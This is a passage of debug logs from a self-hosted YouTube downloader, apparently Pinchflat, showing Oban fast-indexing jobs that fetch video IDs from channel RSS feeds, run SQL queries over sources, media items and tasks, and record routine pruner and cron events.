((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:31:16.431 [debug] QUERY OK source="tasks" db=0.0ms idle=192.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [746, 1, ~U[2026-07-24 18:31:16Z], ~U[2026-07-24 18:31:16Z]] 18:31:16.431 [info] {"args":{"id":1},"id":743,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":193739,"event":"job:stop","queue_time":440717,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:16.431 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:27.424 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:31.252 [info] {"args":{"id":3},"id":744,"meta":{},"system_time":1784917891252336013,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:31.252 [debug] QUERY OK source="sources" db=0.1ms idle=1126.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:31:31.252 [debug] QUERY OK source="tasks" db=0.2ms idle=1007.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:31.252 [debug] QUERY OK source="settings" db=0.1ms idle=126.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:31.253 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:31:31.253 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:31:31.253 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:31:31.253 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:31:31.437 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:31:31.438 [debug] QUERY OK source="media_items" db=0.4ms idle=184.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 18:31:31.440 [debug] QUERY OK source="media_items" db=1.7ms idle=185.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 18:31:31.440 [debug] QUERY OK source="tasks" db=0.0ms idle=187.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [747, 3, ~U[2026-07-24 18:31:31Z], ~U[2026-07-24 18:31:31Z]] 18:31:31.440 [info] {"args":{"id":3},"id":744,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188402,"event":"job:stop","queue_time":599226,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:31:31.441 [debug] QUERY OK source="tasks" db=0.2ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:31:57.425 [info] {"source":"oban","duration":287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.858 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:27.426 [info] {"source":"oban","duration":307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:57.427 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.858 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:27.428 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:57.429 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.860 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:27.430 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:57.431 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.861 [info] {"source":"oban","duration":123,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:27.432 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:57.433 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.862 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:27.434 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:57.435 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.863 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:27.436 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:57.437 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.863 [info] {"source":"oban","duration":69,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:27.438 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:57.439 [info] {"source":"oban","duration":593,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.865 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:27.440 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:57.441 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.866 [info] {"source":"oban","duration":161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:27.442 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:57.443 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.867 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:06.840 [info] {"args":{"id":2},"id":745,"meta":{},"system_time":1784918466840279734,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:06.840 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1612.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:41:06.841 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=1007.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:06.841 [debug] QUERY OK source="settings" db=0.1ms idle=613.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:06.841 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:41:06.841 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:41:06.841 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:06.841 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:41:06.969 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:41:06.969 [debug] QUERY OK source="media_items" db=0.2ms idle=128.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:41:06.970 [debug] QUERY OK source="media_items" db=0.2ms idle=128.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:41:06.970 [debug] QUERY OK source="tasks" db=0.0ms idle=129.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [748, 2, ~U[2026-07-24 18:41:06Z], ~U[2026-07-24 18:41:06Z]] 18:41:06.971 [info] {"args":{"id":2},"id":745,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":130604,"event":"job:stop","queue_time":28646,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:06.971 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:16.851 [info] {"args":{"id":1},"id":746,"meta":{},"system_time":1784918476851222853,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:41:16.851 [debug] QUERY OK source="sources" db=0.1ms idle=623.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:41:16.851 [debug] QUERY OK source="tasks" db=0.3ms idle=623.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:41:16.851 [debug] QUERY OK source="settings" db=0.1ms idle=623.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:16.852 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:41:16.852 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:41:16.852 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:41:16.852 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:41:16.894 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:41:16.895 [debug] QUERY OK source="media_items" db=0.3ms idle=42.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:41:16.899 [debug] QUERY OK source="media_items" db=4.1ms idle=43.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:41:16.900 [debug] QUERY OK source="tasks" db=0.0ms idle=47.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [749, 1, ~U[2026-07-24 18:41:16Z], ~U[2026-07-24 18:41:16Z]] 18:41:16.900 [info] 